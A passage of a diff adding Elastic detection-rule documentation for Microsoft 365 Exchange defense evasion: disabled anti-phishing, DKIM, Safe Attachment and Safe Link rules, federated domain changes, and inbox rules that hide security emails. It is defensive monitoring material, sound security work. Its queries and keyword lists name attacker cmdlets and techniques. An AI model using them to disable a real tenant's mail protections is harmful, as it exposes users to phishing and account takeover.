anti-phishing rule in Microsoft 365. By default, Microsoft 365 includes built-in features that help protect users from phishing attacks. Anti-phishing rules increase this protection by refining settings to better detect and prevent attacks. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-antiphishrule?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-antiphishrule?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Anti-Phish Rule Modification* + + +Microsoft 365's anti-phishing rules are crucial for safeguarding users against phishing attacks by enhancing detection and prevention settings. Adversaries may attempt to modify or disable these rules to facilitate phishing campaigns, gaining unauthorized access. The detection rule monitors for successful modifications or disabling of anti-phishing rules, signaling potential malicious activity by tracking specific actions within the Exchange environment. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset set to o365.audit and event.provider set to Exchange to confirm the context of the alert. +- Check the event.action field for "Remove-AntiPhishRule" or "Disable-AntiPhishRule" to identify the specific action taken on the anti-phishing rule. +- Verify the event.outcome field to ensure the action was successful, indicating a potential security concern. +- Identify the user or account associated with the modification by examining the relevant user fields in the event log. +- Investigate the user's recent activity and access patterns to determine if there are any other suspicious actions or anomalies. +- Assess the impact of the rule modification by reviewing any subsequent phishing attempts or security incidents that may have occurred. +- Consider reverting the changes to the anti-phishing rule and implementing additional security measures if unauthorized access is confirmed. + + +*False positive analysis* + + +- Administrative changes: Legitimate administrative tasks may involve modifying or disabling anti-phishing rules for testing or configuration purposes. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Security audits: Regular security audits might require temporary adjustments to anti-phishing rules. Document these activities and exclude them from alerts by correlating with audit logs. +- Third-party integrations: Some third-party security tools may interact with Microsoft 365 settings, triggering rule modifications. Identify these tools and exclude their actions from triggering alerts by using their specific identifiers. +- Policy updates: Organizational policy changes might necessitate updates to anti-phishing rules. Ensure these changes are documented and exclude them from alerts by associating them with approved change management processes. + + +*Response and remediation* + + +- Immediately isolate the affected user accounts to prevent further unauthorized access and potential spread of phishing attacks. +- Revert any unauthorized changes to the anti-phishing rules by restoring them to their previous configurations using backup or documented settings. +- Conduct a thorough review of recent email logs and user activity to identify any potential phishing emails that may have bypassed the modified rules and take steps to quarantine or delete them. +- Notify the security team and relevant stakeholders about the incident, providing details of the rule modification and any identified phishing attempts. +- Escalate the incident to the incident response team for further investigation and to determine if additional systems or data have been compromised. +- Implement enhanced monitoring and alerting for any further attempts to modify anti-phishing rules, ensuring that similar activities are detected promptly. +- Review and update access controls and permissions for administrative actions within Microsoft 365 to ensure that only authorized personnel can modify security settings. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Remove-AntiPhishRule" or "Disable-AntiPhishRule") and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-dkim-signing-configuration-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-dkim-signing-configuration-disabled.asciidoc new file mode 100644 index 0000000000..ae5fb68e6f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-dkim-signing-configuration-disabled.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-m365-exchange-dkim-signing-configuration-disabled]] +=== M365 Exchange DKIM Signing Configuration Disabled + +Identifies when a DomainKeys Identified Mail (DKIM) signing configuration is disabled in Microsoft 365. With DKIM in Microsoft 365, messages that are sent from Exchange Online will be cryptographically signed. This will allow the receiving email system to validate that the messages were generated by a server that the organization authorized and were not spoofed. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/set-dkimsigningconfig?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange DKIM Signing Configuration Disabled* + + +DomainKeys Identified Mail (DKIM) is a security protocol that ensures email authenticity by allowing recipients to verify that messages are sent from authorized servers. Disabling DKIM can expose organizations to email spoofing, where attackers impersonate legitimate domains to conduct phishing attacks. The detection rule identifies when DKIM is disabled in Microsoft 365, signaling potential unauthorized changes that could facilitate persistent threats. + + +*Possible investigation steps* + + +- Review the audit logs in Microsoft 365 to identify the user or service account associated with the event.action "Set-DkimSigningConfig" where o365.audit.Parameters.Enabled is False. This will help determine who or what initiated the change. +- Check the event.timestamp to establish when the DKIM signing configuration was disabled and correlate this with any other suspicious activities or changes in the environment around the same time. +- Investigate the event.outcome field to confirm that the action was successful and not a failed attempt, which could indicate a misconfiguration or unauthorized access attempt. +- Examine the event.provider and event.category fields to ensure that the event is specifically related to Exchange and web actions, confirming the context of the alert. +- Assess the risk score and severity level to prioritize the investigation and determine if immediate action is required to mitigate potential threats. +- Look into any recent changes in administrative roles or permissions that could have allowed unauthorized users to disable DKIM signing, focusing on persistence tactics as indicated by the MITRE ATT&CK framework reference. + + +*False positive analysis* + + +- Routine administrative changes: Sometimes, DKIM signing configurations may be disabled temporarily during routine maintenance or updates by authorized IT personnel. To manage this, establish a process to document and approve such changes, and create exceptions in the monitoring system for these documented events. +- Testing and troubleshooting: IT teams may disable DKIM as part of testing or troubleshooting email configurations. Ensure that these activities are logged and approved, and consider setting up alerts that differentiate between test environments and production environments to reduce noise. +- Configuration migrations: During migrations to new email systems or configurations, DKIM may be disabled as part of the transition process. Implement a change management protocol that includes notifying the security team of planned migrations, allowing them to temporarily adjust monitoring rules. +- Third-party integrations: Some third-party email services may require DKIM to be disabled temporarily for integration purposes. Maintain a list of approved third-party services and create exceptions for these specific cases, ensuring that the security team is aware of and has approved the integration. + + +*Response and remediation* + + +- Immediately re-enable DKIM signing for the affected domain in Microsoft 365 to restore email authenticity and prevent potential spoofing attacks. +- Conduct a review of recent administrative activities in Microsoft 365 to identify any unauthorized changes or suspicious behavior that may have led to the DKIM configuration being disabled. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized change and potential risks associated with it. +- Implement additional monitoring on the affected domain and related accounts to detect any further unauthorized changes or suspicious activities. +- Review and update access controls and permissions for administrative accounts in Microsoft 365 to ensure that only authorized personnel can modify DKIM settings. +- Escalate the incident to the organization's incident response team for further investigation and to determine if any additional security measures are necessary. +- Consider implementing additional email security measures, such as SPF and DMARC, to complement DKIM and enhance overall email security posture. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Set-DkimSigningConfig" and o365.audit.Parameters.Enabled:False and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-email-safe-attachment-rule-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-email-safe-attachment-rule-disabled.asciidoc new file mode 100644 index 0000000000..e914e974f1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-email-safe-attachment-rule-disabled.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-21-m365-exchange-email-safe-attachment-rule-disabled]] +=== M365 Exchange Email Safe Attachment Rule Disabled + +Identifies when a safe attachment rule is disabled in Microsoft 365. Safe attachment rules can extend malware protections to include routing all messages and attachments without a known malware signature to a special hypervisor environment. An adversary or insider threat may disable a safe attachment rule to exfiltrate data or evade defenses. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-safeattachmentrule?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Email Safe Attachment Rule Disabled* + + +Microsoft 365's Safe Attachment feature enhances security by analyzing email attachments in a secure environment to detect unknown malware. Disabling this rule can expose organizations to threats by allowing potentially harmful attachments to bypass scrutiny. Adversaries may exploit this to exfiltrate data or avoid detection. The detection rule monitors audit logs for successful attempts to disable this feature, signaling potential defense evasion activities. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Disable-SafeAttachmentRule" to identify the user or account responsible for the action. +- Check the event.outcome field to confirm the success of the rule being disabled and gather additional context from related logs around the same timestamp. +- Investigate the event.provider "Exchange" to determine if there are any other recent suspicious activities or changes made by the same user or account. +- Assess the event.category "web" to understand if there were any web-based interactions or anomalies that coincide with the disabling of the safe attachment rule. +- Evaluate the risk score and severity to prioritize the investigation and determine if immediate action is required to mitigate potential threats. +- Cross-reference the identified user or account with known insider threat indicators or previous security incidents to assess the likelihood of malicious intent. + + +*False positive analysis* + + +- Routine administrative changes can trigger alerts when IT staff disable Safe Attachment rules for legitimate reasons, such as testing or maintenance. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Automated scripts or third-party tools used for email management might disable Safe Attachment rules as part of their operations. Identify these tools and exclude their actions from triggering alerts by whitelisting their associated accounts or IP addresses. +- Changes in organizational policy or security configurations might necessitate temporary disabling of Safe Attachment rules. Document these policy changes and adjust the monitoring rules to account for these temporary exceptions. +- Training or onboarding sessions for new IT staff might involve disabling Safe Attachment rules as part of learning exercises. Ensure these activities are logged and excluded from alerts by setting up temporary exceptions for training periods. + + +*Response and remediation* + + +- Immediately re-enable the Safe Attachment Rule in Microsoft 365 to restore the security posture and prevent further exposure to potentially harmful attachments. +- Conduct a thorough review of recent email logs and quarantine any suspicious attachments that were delivered during the period the rule was disabled. +- Isolate any systems or accounts that interacted with suspicious attachments to prevent potential malware spread or data exfiltration. +- Escalate the incident to the security operations team for further investigation and to determine if there was any unauthorized access or data compromise. +- Implement additional monitoring on the affected accounts and systems to detect any signs of ongoing or further malicious activity. +- Review and update access controls and permissions to ensure that only authorized personnel can modify security rules and configurations. +- Conduct a post-incident analysis to identify the root cause and implement measures to prevent similar incidents, such as enhancing alerting mechanisms for critical security rule changes. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Disable-SafeAttachmentRule" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-email-safe-link-policy-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-email-safe-link-policy-disabled.asciidoc new file mode 100644 index 0000000000..1e763aee53 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-email-safe-link-policy-disabled.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-21-m365-exchange-email-safe-link-policy-disabled]] +=== M365 Exchange Email Safe Link Policy Disabled + +Identifies when a Safe Link policy is disabled in Microsoft 365. Safe Link policies for Office applications extend phishing protection to documents that contain hyperlinks, even after they have been delivered to a user. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-safelinksrule?view=exchange-ps +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/atp-safe-links?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Email Safe Link Policy Disabled* + + +Microsoft 365's Safe Link policies enhance security by scanning hyperlinks in documents for phishing threats, even post-delivery. Disabling these policies can expose users to phishing attacks. Adversaries might exploit this by disabling Safe Links to facilitate malicious link delivery. The detection rule identifies successful attempts to disable Safe Link policies, signaling potential security breaches. + + +*Possible investigation steps* + + +- Review the event logs for the specific event.dataset:o365.audit and event.provider:Exchange to confirm the occurrence of the "Disable-SafeLinksRule" action with a successful outcome. +- Identify the user account associated with the event.action:"Disable-SafeLinksRule" to determine if the action was performed by an authorized individual or if the account may have been compromised. +- Check the recent activity of the identified user account for any unusual or unauthorized actions that could indicate a broader security incident. +- Investigate any recent changes to Safe Link policies in the Microsoft 365 environment to understand the scope and impact of the policy being disabled. +- Assess whether there have been any recent phishing attempts or suspicious emails delivered to users, which could exploit the disabled Safe Link policy. +- Coordinate with the IT security team to re-enable the Safe Link policy and implement additional monitoring to prevent future unauthorized changes. + + +*False positive analysis* + + +- Administrative changes: Legitimate administrative actions may involve disabling Safe Link policies temporarily for testing or configuration purposes. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Third-party integrations: Some third-party security tools or integrations might require Safe Link policies to be disabled for compatibility reasons. Identify and document these tools, and set up exceptions for their associated actions. +- Policy updates: During policy updates or migrations, Safe Link policies might be disabled as part of the process. Monitor and document these events, and exclude them from alerts if they match known update patterns. +- User training sessions: Safe Link policies might be disabled during user training or demonstrations to showcase potential threats. Schedule these sessions and exclude related activities from triggering alerts. + + +*Response and remediation* + + +- Immediately re-enable the Safe Link policy in Microsoft 365 to restore phishing protection for hyperlinks in documents. +- Conduct a thorough review of recent email and document deliveries to identify any potentially malicious links that may have been delivered while the Safe Link policy was disabled. +- Isolate any identified malicious links or documents and notify affected users to prevent interaction with these threats. +- Investigate the account or process that disabled the Safe Link policy to determine if it was compromised or misused, and take appropriate actions such as password resets or privilege revocation. +- Escalate the incident to the security operations team for further analysis and to determine if additional security measures are needed to prevent similar incidents. +- Implement additional monitoring and alerting for changes to Safe Link policies to ensure rapid detection of any future unauthorized modifications. +- Review and update access controls and permissions related to Safe Link policy management to ensure only authorized personnel can make changes. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Disable-SafeLinksRule" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-federated-domain-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-federated-domain-created-or-modified.asciidoc new file mode 100644 index 0000000000..10dd11b14d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-federated-domain-created-or-modified.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-21-m365-exchange-federated-domain-created-or-modified]] +=== M365 Exchange Federated Domain Created or Modified + +Identifies a new or modified federation domain, which can be used to create a trust between O365 and an external identity provider. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-accepteddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-federateddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-accepteddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/add-federateddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/set-accepteddomain?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/msonline/set-msoldomainfederationsettings?view=azureadps-1.0 + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Federated Domain Created or Modified* + + +Federation domains enable trust between Office 365 and external identity providers, facilitating seamless authentication. Adversaries may exploit this by altering federation settings to redirect authentication flows, potentially gaining unauthorized access. The detection rule monitors specific actions like domain modifications, signaling potential privilege escalation attempts, and alerts analysts to investigate these changes. + + +*Possible investigation steps* + + +- Review the event logs for the specific actions listed in the query, such as "Set-AcceptedDomain" or "Add-FederatedDomain", to identify the exact changes made to the federation domain settings. +- Identify the user account associated with the event by examining the event logs, and verify if the account has the necessary permissions to perform such actions. +- Check the event.outcome field to confirm the success of the action and cross-reference with any recent administrative changes or requests to validate legitimacy. +- Investigate the event.provider and event.category fields to ensure the actions were performed through legitimate channels and not via unauthorized or suspicious methods. +- Analyze the timing and frequency of the federation domain changes to detect any unusual patterns or repeated attempts that could indicate malicious activity. +- Correlate the detected changes with any recent alerts or incidents involving privilege escalation or unauthorized access attempts to assess potential links or broader security implications. + + +*False positive analysis* + + +- Routine administrative changes to federation domains by IT staff can trigger alerts. To manage this, create exceptions for known and scheduled maintenance activities by trusted administrators. +- Automated scripts or tools used for domain management may cause false positives. Identify these scripts and exclude their actions from triggering alerts by whitelisting their associated accounts or IP addresses. +- Integration of new services or applications that require federation domain modifications can be mistaken for suspicious activity. Document these integrations and adjust the rule to recognize these legitimate changes. +- Changes made during organizational restructuring, such as mergers or acquisitions, might appear as unauthorized modifications. Coordinate with relevant departments to anticipate these changes and temporarily adjust monitoring thresholds or exclusions. +- Regular audits or compliance checks that involve domain settings adjustments can lead to false positives. Schedule these audits and inform the security team to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately disable any newly added or modified federation domains to prevent unauthorized access. This can be done using the appropriate administrative tools in Office 365. +- Review and revoke any suspicious or unauthorized access tokens or sessions that may have been issued through the compromised federation domain. +- Conduct a thorough audit of recent administrative actions and access logs to identify any unauthorized changes or access patterns related to the federation domain modifications. +- Escalate the incident to the security operations team for further investigation and to determine if additional containment measures are necessary. +- Implement additional monitoring on federation domain settings to detect any further unauthorized changes promptly. +- Communicate with affected stakeholders and provide guidance on any immediate actions they need to take, such as password resets or additional authentication steps. +- Review and update federation domain policies and configurations to ensure they align with best practices and reduce the risk of similar incidents in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Set-AcceptedDomain" or +"Set-MsolDomainFederationSettings" or "Add-FederatedDomain" or "New-AcceptedDomain" or "Remove-AcceptedDomain" or "Remove-FederatedDomain") and +event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc new file mode 100644 index 0000000000..c180568162 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-21-m365-exchange-inbox-phishing-evasion-rule-created]] +=== M365 Exchange Inbox Phishing Evasion Rule Created + +Identifies when a user creates a new inbox rule in Microsoft 365 that deletes or moves emails containing suspicious keywords. Adversaries who have compromised accounts often create inbox rules to hide alerts, security notifications, or other sensitive messages by automatically deleting them or moving them to obscure folders. Common destinations include Deleted Items, Junk Email, RSS Feeds, and RSS Subscriptions. This is a New Terms rule that triggers only when the user principal name and associated source IP address have not been observed performing this activity in the past 14 days. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/defender-office-365/detect-and-remediate-outlook-rules-forms-attack +* https://learn.microsoft.com/en-us/defender-xdr/alert-grading-playbook-inbox-manipulation-rules +* https://blog.barracuda.com/2023/09/20/threat-spotlight-attackers-inbox-rules-evade-detection + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic +* Jamie Lee +* Marco Pedrinazzi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Exchange Inbox Phishing Evasion Rule Created* + + +This detection identifies the creation of potentially malicious inbox rules in Microsoft 365. These rules automatically delete or move emails with specific keywords such as "invoice", "payment", "security", or "phish". Adversaries often use these rules post-compromise to conceal warning emails, alerts from security tools, or responses from help desk teams, thereby evading detection and maintaining access. + +This is a new terms rule that alerts only when the combination of `user.id` and `source.ip` has not performed this activity in the last 14 days. + + +*Possible investigation steps* + + +- Review the `user.id` and `user.email` fields to identify the user account that created the inbox rule. +- Confirm the rule creation action in `event.action` is `New-InboxRule` and that the `event.outcome` is `success`. +- Investigate the `o365.audit.Parameters.SubjectContainsWords` field for sensitive or suspicious keywords such as: + - `invoice`, `payment`, `reset`, `phish`, `login`, `fraud`, `alert`, etc. +- Check if the rule performs any of the following: + - `MoveToFolder`: suspicious folders like `RSS Feeds`, `Junk Email`, or `Deleted Items`. + - `DeleteMessage`: if present, suggests the rule is meant to hide communications. +- Review the `source.ip` and `source.geo.*` fields to validate whether the IP address and location match expected user behavior. +- Examine whether the rule was created via a suspicious interface like Exchange Admin or through external automation. +- Check for recent sign-in anomalies, credential changes, or unusual mailbox activity for the user (e.g., email forwarding, MFA prompts). + + +*False positive analysis* + + +- Some rules may be created by users for legitimate purposes (e.g., moving newsletters). +- Outlook plugins or automated email management tools could create rules that resemble this behavior. +- Newly onboarded employees might configure rules for personal filtering without malicious intent. + + +*Response and remediation* + + +- If the rule is determined to be malicious: + - Remove the inbox rule immediately. + - Review the user’s mailbox for signs of data theft or additional manipulation (e.g., auto-forwarding, altered reply-to addresses). + - Investigate surrounding activity such as MFA changes, token refreshes, or admin role assignments. + - Revoke tokens and initiate a password reset for the compromised user. +- If broader compromise is suspected: + - Review audit logs for other inbox rule creations across the tenant. + - Check whether other users from the same source IP performed similar activity. + - Educate the user on safe email handling and rule creation best practices. +- Strengthen detection: + - Enable Microsoft Defender for Office 365 Safe Rules. + - Use mailbox auditing and DLP policies to monitor hidden inbox activity. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and + event.action: ("New-InboxRule" or "Set-InboxRule") and event.outcome: "success" and + ( + o365.audit.Parameters.BodyContainsWords: "\u0000" or + o365.audit.Parameters.WithinSizeRangeMinimum <= 1023 or + o365.audit.Parameters.SubjectContainsWords: ( + *phish* or + *hack* or + *alert* or + *malware* or + *security* or + *invoice* or + *payment* or + *wire* or + *transfer* or + *fraud* or + *reset* or + *unusual* or + *protection* or + *login* or + *suspicious* + ) + ) and ( + o365.audit.Parameters.DeleteMessage: True or + o365.audit.Parameters.MoveToFolder: ( + *Deleted* or + *Junk* or + *RSS* or + *Calendar* + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Email Hiding Rules +** ID: T1564.008 +** Reference URL: https://attack.mitre.org/techniques/T1564/008/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Outlook Rules +** ID: T1137.005 +** Reference URL: https://attack.mitre.org/techniques/T1137/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mail-flow-transport-rule-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-mail-flow-transport-rule-created.asciidoc new file mode 100644 index 0000000000..060307d29a --- /dev/null +++ 